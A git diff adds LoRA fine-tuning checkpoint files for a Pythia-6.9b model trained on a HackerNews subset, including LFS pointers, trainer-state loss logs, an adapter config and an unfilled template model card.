b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..1702f62666b39cac633a34cf312f24e311e13df2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9ba79aaff190fd3ef9f70dd7c0a234665c2bd6c6bb243b5896c5bd6a16356627 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..5e2ffe406e2d87ea70e25bfbdad4187edda05acb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3d68cb0fb8d225e623592feefec72ecd0b7071657fb56415f262582b52279a56 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..b56d2fb511b803598c7e5e426cd20e7788dbdefd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/trainer_state.json @@ -0,0 +1,453 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.7333333333333334, + "eval_steps": 10, + "global_step": 280, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.58810015612928e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..0a0570f6b369ebc90f357c8a28edae852f2d4f8f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4c06e7c7988c9880896b2d9eb55877448981114e4b5533d1986422f6bb47dab4 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..9193a2ad4e2e2c307d5b342753251400a7f812f9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6f1aa64852d75cdd90caa7d4738340839b1e767266689ede3914b533f690cb7b +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fecfedbf1488a31afeaf7c01dc4f9760cfff1b16 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:47c6345b8afbd1f7a687e942ce33ce022660a29cb46a23e4c9eda9e498053741 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..1da17016e7f80351316298af3ab35d6cc666d60f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:518f59f6861d3d54674180d781456c4d55d82eb1d5543c592846efd5b6bea3ea +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..2f1f3a99cd4f79a2f0c9465f388c3475cc109ddb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/trainer_state.json @@ -0,0 +1,468 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.8666666666666667, + "eval_steps": 10, + "global_step": 290, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 